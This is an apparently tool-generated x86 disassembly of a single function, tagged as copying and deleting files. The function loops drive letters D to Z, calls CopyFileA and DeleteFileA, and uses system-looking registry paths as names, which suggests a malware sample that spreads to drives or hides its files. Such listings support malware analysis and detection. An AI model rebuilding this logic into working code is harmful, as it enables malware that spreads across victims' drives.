Function at 0x43faf1
Capabilities:
Copy file
Delete file

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x133f
sub esp, 0x70
push fcn.0043faf1
xor esi, esi
xor edi, edi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
push esi
mov eax, dword [0x45dd34]
test eax, eax
je 0x43fbe6
mov edi, 0x44
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x18668d8
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x43fbdb
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x18668d8
call fcn.0045b687
call fcn.0045ab3a
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
mov dword [0x45dd34], 0
mov edx, 0x1866900
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
jmp 0x43fbe6
inc edi
cmp edi, 0x5a
jle 0x43fb30
mov edi, 0x44
nop
nop
nop
nop
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1864194
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
jne 0x43fc78
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866914
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x43fc9b
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
lea ebx, [ebp - 0xa4]
mov ecx, 2
call fcn.0045b4a3
jmp 0x43fca6
inc edi
cmp edi, 0x5a
jle 0x43fbf0
lea ebx, [ebp - 0xa4]
call fcn.0045b45a
call fcn.0045b655
test eax, eax
je 0x43ff08
mov eax, dword [0x45db20]
test eax, eax
je 0x43fdba
push 0
lea ebx, [ebp - 0xa4]
call fcn.0045b45a
mov edx, 0x1866948
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x43fdba
push 0
lea ebx, [ebp - 0xa4]
call fcn.0045b45a
mov edx, 0x1866948
call fcn.0045b687
call fcn.0045ab3a
push 0
mov ebx, esp
call fcn.0045a876
mov edx, 0x186695c
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
mov edx, 0x185e9a0
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
lea ebx, [ebp - 0xa4]
call fcn.0045b45a
mov edx, 0x1866948
call fcn.0045b687
call fcn.0045ab3a
push 0
mov ebx, esp
call fcn.0045a876
call fcn.0042b5e4
mov edx, 0x186695c
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00432895
mov edx, 0x186698c
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45db20], 0
mov eax, dword [0x45db24]
test eax, eax
je 0x43ff03
mov edi, 0x17
nop
nop
push 0
lea ebx, [ebp - 0xa4]
call fcn.0045b45a
mov edx, 0x18669a8
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x43fef1
push 0
mov edx, 0x18669c4
call fcn.0045b687
lea ebx, [esp]
call fcn.0045a938
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
fldcw word [ebp - 0x10]
lea ebx, [ebp - 0xa4]
call fcn.0045b45a
mov edx, 0x18669a8
call fcn.0045b687
call fcn.0045ab3a
mov ebx, str.HARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0
mov ecx, 0x104
call fcn.0045b4a3
push 0
lea ebx, [ebp - 0xa4]
call fcn.0045b45a
mov edx, 0x18669f4
call fcn.0045b687
call fcn.0045ab3a
push 0
mov ebx, esp
call fcn.0045a876
mov edx, 0x18669c4
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
mov edx, 0x185e9a0
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
mov ebx, str.HARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0
call fcn.0045b45a
push 0
mov ebx, esp
call fcn.0045a876
call fcn.0042b5e4
mov edx, 0x18669c4
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00432895
mov dword [0x45db24], 0
jmp 0x43fef9
dec edi
jne 0x43fdd0
mov eax, 0x5a
sub eax, edi
inc eax
mov edi, eax
jmp 0x440175
mov eax, dword [0x45db20]
test eax, eax
je 0x440027
mov edi, 0x44
nop
nop
nop
nop
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866948
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x44001c
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866948
call fcn.0045b687
call fcn.0045ab3a
push 0
mov ebx, esp
call fcn.0045a876
mov edx, 0x186695c
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
mov edx, 0x185e9a0
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866948
call fcn.0045b687
call fcn.0045ab3a
push 0
mov ebx, esp
call fcn.0045a876
call fcn.0042b5e4
mov edx, 0x186695c
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00432895
mov edx, 0x186698c
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45db20], 0
jmp 0x440027
inc edi
cmp edi, 0x5a
jle 0x43ff20
mov eax, dword [0x45db24]
test eax, eax
je 0x440175
mov edi, 0x44
nop
nop
nop
nop
nop
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x18669a8
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x44016a
push 0
mov edx, 0x18669c4
call fcn.0045b687
lea ebx, [esp]
call fcn.0045a938
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
fldcw word [ebp - 0x10]
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x18669a8
call fcn.0045b687
call fcn.0045ab3a
mov ebx, str.HARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0
mov ecx, 0x104
call fcn.0045b4a3
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x18669f4
call fcn.0045b687
call fcn.0045ab3a
push 0
mov ebx, esp
call fcn.0045a876
mov edx, 0x18669c4
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
mov edx, 0x185e9a0
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
mov ebx, str.HARDWAREDESCRIPTIONSystemMultifunctionAdapter0DiskController0
call fcn.0045b45a
push 0
mov ebx, esp
call fcn.0045a876
call fcn.0042b5e4
mov edx, 0x18669c4
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00432895
mov dword [0x45db24], 0
jmp 0x440175
inc edi
cmp edi, 0x5a
jle 0x440040
mov eax, dword [0x45db0c]
test eax, eax
je 0x4402d2
mov edi, 0x44
nop
nop
nop
nop
nop
nop
nop
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x18609f4
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x4402c7
push 0
mov edx, 0x1861514
call fcn.0045b687
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x440258
mov edx, 0x1866a10
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov ecx, 0x43fa45
push ecx
mov eax, edi
push eax
push 0x100000
push 0
lea ebx, [ebp - 0x9c]
call fcn.0045065d
mov esi, dword [ebx]
mov eax, esi
lea ebx, [ebp - 0x9c]
call fcn.00450637
mov esi, dword [ebx]
mov dword [0x45db0c], 0
jmp 0x4402c2
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x18609f4
call fcn.0045b687
call fcn.0045ab3a
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
test eax, eax
je 0x4402c2
mov edx, 0x1866a28
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45db0c], 0
jmp 0x4402d2
inc edi
cmp edi, 0x5a
jle 0x440190
mov eax, dword [0x45db10]
test eax, eax
je 0x4403ae
mov edi, 0x44
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866a44
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x4403a3
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866a44
call fcn.0045b687
call fcn.0045ab3a
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
test eax, eax
je 0x4403a3
mov edx, 0x1866a58
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45db10], 0
jmp 0x4403ae
inc edi
cmp edi, 0x5a
jle 0x4402f0
mov eax, dword [0x45dae0]
test eax, eax
je 0x44048e
mov edi, 0x44
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866a78
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x440483
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866a78
call fcn.0045b687
call fcn.0045ab3a
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
test eax, eax
je 0x440483
mov edx, 0x1866a98
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45dae0], 0
jmp 0x44048e
inc edi
cmp edi, 0x5a
jle 0x4403d0
mov eax, dword [0x45dae4]
test eax, eax
je 0x4407b8
mov edi, 0x44
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x186400c
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x4407ad
fild dword [0x186b388]
mov eax, dword [str.S_1_5_18SoftwareMicrosoftOfficeCommonClientTelemetry]
call fcn.0045a848
fcompp
fnstsw ax
sahf
jne 0x44069d
mov eax, dword [0x45daf0]
test eax, eax
je 0x44069d
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866ab4
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x44069d
push 0
push 2
mov edx, 0x1866acc
call fcn.0045b687
lea ebx, [esp + 4]
call fcn.0045a938
call fcn.00412768
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
push 0
push 0
push 0
mov edx, 0x18611d8
call fcn.0045b687
mov ebx, 0x45dbb4
call fcn.0045b45a
call fcn.0045ab3a
lea ebx, [esp + 8]
call fcn.0045a938
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x186400c
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp + 8]
call fcn.0045a938
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push eax
mov ebx, esp
mov eax, dword [ebx + 8]
call fcn.00456355
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 8
fldcw word [ebp - 0x10]
push 0
push 1
push 0xd
mov edx, 0x1860cb0
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
mov edx, 0x1866534
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.0043d938
push 0
mov edx, 0x18611d8
call fcn.0045b687
mov ebx, 0x45dbb4
call fcn.0045b45a
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00434033
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x440698
mov dword [0x45deb0], 1
mov edx, 0x1866adc
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45dae4], 0
jmp 0x4407a8
push 0
push 0
push 0
mov edx, 0x18611d8
call fcn.0045b687
mov ebx, 0x45dbb4
call fcn.0045b45a
call fcn.0045ab3a
lea ebx, [esp + 8]
call fcn.0045a938
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x186400c
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp + 8]
call fcn.0045a938
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
push eax
mov ebx, esp
mov eax, dword [ebx + 8]
call fcn.00456355
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 8
fldcw word [ebp - 0x10]
push 0
push 1
push 0xd
mov edx, 0x1860cb0
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
mov edx, 0x1866534
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.0043d938
push 0
mov edx, 0x18611d8
call fcn.0045b687
mov ebx, 0x45dbb4
call fcn.0045b45a
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00434033
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x4407a8
mov dword [0x45deb0], 1
mov edx, 0x1866afc
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45dae4], 0
jmp 0x4407b8
inc edi
cmp edi, 0x5a
jle 0x4404b0
mov eax, dword [0x45dadc]
test eax, eax
je 0x440d00
mov edi, 0x44
nop
nop
nop
nop
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866b10
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x440883
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866b10
call fcn.0045b687
call fcn.0045ab3a
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
test eax, eax
je 0x440883
mov edx, 0x1866b30
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45dadc], 0
jmp 0x440c78
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866b48
call fcn.0045b687
call fcn.0045ab3a
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
push eax
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866b48
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
pop dword [ebp - 0x30]
and eax, dword [ebp - 0x30]
test eax, eax
jne 0x440999
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1862040
call fcn.0045b687
call fcn.0045ab3a
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
push eax
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1862040
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
pop dword [ebp - 0x30]
and eax, dword [ebp - 0x30]
test eax, eax
je 0x4409c0
mov edx, 0x1866b68
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45dadc], 0
jmp 0x440c78
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866b80
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x440a73
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866b80
call fcn.0045b687
call fcn.0045ab3a
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
test eax, eax
je 0x440a73
mov edx, 0x1866ba0
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45dadc], 0
jmp 0x440c78
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866bb8
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x440b70
push 0
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866bd8
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
pop dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jne 0x440b70
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866bb8
call fcn.0045b687
call fcn.0045ab3a
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
test eax, eax
je 0x440b70
mov edx, 0x1866bf0
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45dadc], 0
jmp 0x440c78
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866c08
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x440c6d
push 0
push 0
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866bd8
call fcn.0045b687
call fcn.0045ab3a
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
pop dword [ebp - 0x30]
cmp eax, dword [ebp - 0x30]
jne 0x440c6d
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
push 0
mov eax, edi
call fcn.0044ef6c
call fcn.0044ef1d
mov edx, 0x1866c08
call fcn.0045b687
call fcn.0045ab3a
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
test eax, eax
je 0x440c6d
mov edx, 0x1866c24
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45dadc], 0
jmp 0x440c78
inc edi
cmp edi, 0x5a
jle 0x4407d0
push 0
mov edx, 0x1866c3c
call fcn.0045b687
lea ebx, [esp]
call fcn.0045a938
call fcn.00419351
push eax
mov ebx, esp
mov eax, dword [ebx + 4]
call fcn.00456355
pop eax
add esp, 4
test eax, eax
je 0x440d00
mov edx, 0x185e9a0
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
mov edx, 0x1866c3c
call fcn.0045b687
mov eax, 0x800000ff
call fcn.00452ee2
call fcn.004174f2
test eax, eax
je 0x440d00
mov edx, 0x1866c68
call fcn.0045b687
push 0
mov ebx, esp
call fcn.0045a876
call fcn.00417148
mov dword [0x45dadc], 0
mov eax, dword [ebp - 0x98]
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret